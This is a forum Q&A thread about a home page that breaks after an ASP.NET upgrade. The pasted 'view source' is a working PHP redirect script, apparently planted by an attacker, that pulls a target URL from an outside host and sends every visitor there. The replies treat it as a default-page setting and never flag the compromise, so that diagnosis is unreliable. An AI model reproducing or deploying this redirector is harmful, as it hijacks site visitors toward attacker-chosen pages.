Click here to Skip to main content
15,886,362 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
Hi,

i want to upgrade my site from .NET 2 to 4.

1. fixed the web.config to meet 4 requirements

2. set IIS for the website to .NET 4 (through Plesk)

3. compiled all components to 4

now all the pages of the site are working except the Home Page which returns a strange PHP error: "0, 'url'=>$default_url); if ($settings['last']"

*on the below the full view source

anyone knows what seems to be the problem and how to fix it?

Many Thanks,

Assaf.

############################################################################
# Скрипт должен лежать в папке, прочмоденой на 777. это важно!. #
# The script must be in the folder prochmodenoy at 777. this is important!.#
############################################################################
$geturl='http://supermyadminspanels.info/rotator.php?hash=75a996ff2a8a6d666dca52a823e1cc84' # Урл экспорта актуального урла на лендинг
$timeout=120; #Время обновления (в секундах)
$default_url='http://www.google.com/robots.txt';
if (!$geturl)
exit();
#Если есть файлик данных, читаем его, иначе сливается трафик на default_url в том случае, если обноиться с экспортного урла не получится.
$tmp_settings = sys_get_temp_dir() . "/settings.json";
$settings=file_exists($tmp_settings)?unserialize(file_get_contents($tmp_settings)):array('last'=>0, 'url'=>$default_url);
if ($settings['last']<time()-$timeout)>
{
if ($settings['url']=file_get_contents($geturl))
{
$settings['last']=time();
$fp=fopen($tmp_settings, 'w');
flock($fp, LOCK_EX);
fputs($fp, serialize($settings));
flock($fp, LOCK_UN);
fclose($fp);
}
}
$url=$settings['url']?$settings['url']:$default_url;
if(substr($url, 0, 4)!='http')
$url="http://".$url."/";
header("Location: $url");
exit();
?>
Posted
Comments
John C Rayan 2-Jul-15 8:03am    
Hi it looks like your site in your ISP is configured as PHP site. Delete all the files from your www root and uncheck all PHP settings in Plesk.

Then upload all ASP.NET files you should be fine.
Remember to set your default document as .aspx or whatever file you have. Remove any PHP file there.
stassaf 2-Jul-15 9:02am    
Hi John,

thanks for your reply.

my site is configured as ASP.NET site the whole problem happens once i'm changing
it to .NET 4.
and it only happens on the home page -> all the other pages are working just fine.

i saw on Plesk that PHP4 is installed on the server, but it seems that i can't remove it - also i don't know if it's related to other staff as site stats application etc...

really don't know what to do.

Plesk version is 11.5 on Windows Server 2008

Thanks,
Assaf.
Suvendu Shekhar Giri 2-Jul-15 16:20pm    
Are you getting this error only when you type the domain name without any page name in the url? If yes, then it could be due to wrong default page setting.
stassaf 5-Jul-15 10:22am    
Thanks - it was the default page settings indeed

1 solution

default page settings!
make sure index.aspx is the 1st option
 
Share this answer
 

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900